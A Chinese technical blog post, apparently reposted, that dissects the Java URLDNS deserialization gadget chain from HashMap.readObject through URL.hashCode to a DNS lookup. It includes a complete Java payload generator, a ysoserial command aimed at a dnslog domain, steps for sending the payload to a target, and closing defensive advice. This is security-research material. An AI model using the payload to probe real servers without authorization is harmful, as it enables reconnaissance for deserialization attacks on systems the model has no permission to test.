当前位置: 首页 > web >正文

URLDNS利用链剖析

一、URLDNS链核心原理

URLDNS链的核心是利用HashMapreadObject()方法触发URL#hashCode()计算,进而触发URLStreamHandler#getHostAddress()发起DNS查询。整个过程不执行任何恶意代码,仅通过DNS请求验证反序列化漏洞存在。

漏洞触发流程

ObjectInputStream.readObject()→ HashMap.readObject()→ HashMap.putVal()→ HashMap.hash()→ URL.hashCode()→ URLStreamHandler.hashCode()→ URLStreamHandler.getHostAddress()→ InetAddress.getByName()  // 发起DNS查询

二、关键源码分析

1. HashMap反序列化触发点
// HashMap.java
private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {// ... 省略初始化代码 ...for (int i = 0; i < mappings; i++) {K key = (K) s.readObject();V value = (V) s.readObject();putVal(hash(key), key, value, false, false); // 关键调用}
}
2.hash(key)漏洞触发
   // HashMap.javastatic final int hash(Object key) {int h;return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);}
  • key.hashCode()中key为URL
3. URL.hashCode()漏洞触发
// URL.java
public synchronized int hashCode() {if (hashCode != -1) return hashCode;hashCode = handler.hashCode(this); // 委托给URLStreamHandlerreturn hashCode;
}
  • 只要 hashCode = -1,那么便会执行handler.hashCode(this);, 我们发现 hashcode 的初始值为 -1,也就是默认执行handler.hashCode(this);
  • 在生成payload的时候,第一次put的时候把hashCode字段设置为不是 -1 的值,避免运行下面的handler.hashCode(this)
  • 生成序列化对象的时候又需要把hashCode字段设置为 -1,因为反序列化的时候需要运行下面的handler.hashCode(this)
  • 所以我们可以通过反射修改hashCode字段的方式来避免在序列化的时候触发DNS请求
4. getHostAddress(u)漏洞触发
// URLStreamHandler.javaprotected int hashCode(URL u) {int h = 0;String protocol = u.getProtocol();if (protocol != null)h += protocol.hashCode();InetAddress addr = getHostAddress(u);// 触发DNS查询if (addr != null) {h += addr.hashCode();} else {String host = u.getHost();if (host != null)h += host.toLowerCase().hashCode();}String file = u.getFile();if (file != null)h += file.hashCode();if (u.getPort() == -1)h += getDefaultPort();elseh += u.getPort();String ref = u.getRef();if (ref != null)h += ref.hashCode();return h;}protected InetAddress getHostAddress(URL u) {return u.getHostAddress();}
5. DNS查询最终实现
 //URL.javasynchronized InetAddress getHostAddress() {if (hostAddress != null) {return hostAddress;}if (host == null || host.isEmpty()) {return null;}try {hostAddress = InetAddress.getByName(host);// 实际发起DNS请求} catch (UnknownHostException | SecurityException ex) {return null;}return hostAddress;}

三、手工构造Payload

通过反射机制绕过URL.hashCode()的缓存机制:

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;public class URLDNSPayload {public static void main(String[] args) throws Exception {// 创建可控URL对象URL url = new URL("http://your-dnslog-url.com");// 创建触发链的HashMapHashMap<URL, Integer> map = new HashMap<>();map.put(url, 1); // 此时hashCode已被修改// 反射修改hashCodeField hashCodeField = URL.class.getDeclaredField("hashCode");hashCodeField.setAccessible(true);// 序列化前重置hashCodehashCodeField.set(url, -1);// 序列化对象ByteArrayOutputStream baos = new ByteArrayOutputStream();try (ObjectOutputStream oos = new ObjectOutputStream(baos)) {oos.writeObject(map);}// 反序列化触发漏洞ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());try (ObjectInputStream ois = new ObjectInputStream(bais)) {ois.readObject(); // 此处触发DNS查询}}
}

四、利用方式详解

1. 使用ysoserial工具生成Payload
java -jar ysoserial.jar URLDNS "http://subdomain.dnslog.cn" > payload.bin
2. 漏洞检测步骤
  1. 在DNSLog平台获取临时域名
  2. 生成Payload:ysoserial URLDNS http://xxx.dnslog.cn > payload.bin
  3. 向目标发送Payload(如HTTP参数、RMI请求等)
  4. 检查DNSLog平台是否收到查询记录

五、实战利用示例

// 漏洞服务器模拟(存在反序列化点)
import java.io.*;public class VulnerableServer {public static void main(String[] args) throws Exception {// 从网络或文件读取攻击者构造的Payloadtry (FileInputStream fis = new FileInputStream("payload.bin");ObjectInputStream ois = new ObjectInputStream(fis)) {ois.readObject(); // 反序列化触发点System.out.println("[+] 对象反序列化完成");}}
}

六、防御建议

  1. 输入过滤:对反序列化数据源进行严格校验
  2. 白名单控制:使用ObjectInputFilter设置反序列化类白名单
ObjectInputStream ois = new ObjectInputStream(fis);
ois.setObjectInputFilter(new CustomFilter());
  1. 替换方案:使用JSON等更安全的序列化格式
  2. JVM防护:添加JVM参数限制反序列化
-Djdk.serialFilter="java.util.HashMap;!*"

七、技术总结

  1. URLDNS是最安全的探测链,不会执行代码
  2. 利用Java原生类实现,无需第三方依赖
  3. 通过反射修改hashCode绕过URL对象缓存机制
  4. DNS查询作为出网行为,适用于无回显场景
http://www.xdnf.cn/news/10484.html

相关文章:

  • latex figure Missing number, treated as zero. <to be read again>
  • mybatis01
  • 3、禁止树莓派屏幕休眠,设置树莓派屏幕常亮
  • VisionPro —— 不规则胶路检测
  • Codeforces Round 1028 (Div. 2) C. Gellyfish and Flaming Peony
  • java synchronized关键字用法
  • STM32Cubemx-H7-17-麦克纳姆轮驱动
  • 关于神经网络中的梯度和神经网络的反向传播以及梯度与损失的关系
  • 用Python打开不同联类型的文件
  • 【xmb】】内部文档148344599
  • 大数据学习(126)-窗口函数范围
  • 通过WiFi无线连接小米手机摄像头到电脑的方法
  • AI炼丹日志-27 - Anubis 通过 PoW工作量证明的反爬虫组件 上手指南 原理解析
  • Java数值处理常见错误解析
  • java多线程与JUC
  • nt!MiDispatchFault函数分析之nt!MiCompleteProtoPteFault函数的作用
  • sqli-labs靶场32-37关(宽字节注入)
  • 历年苏州大学计算机保研上机真题
  • 语音转文字工具
  • Git 入门学习教程
  • Redis 缓存穿透、缓存击穿、缓存雪崩详解与解决方案
  • Ansible 进阶 - Roles 与 Inventory 的高效组织
  • uni-app学习笔记十八--uni-app static目录简介
  • YOLOv5-入门篇笔记
  • 算法打开13天
  • 焦虑而烦躁的上午
  • HTTPS
  • VeriFree:无需Verifier的通用RL框架
  • 【GPT入门】第40课 vllm与ollama特性对比,与模型部署
  • wsl安装linux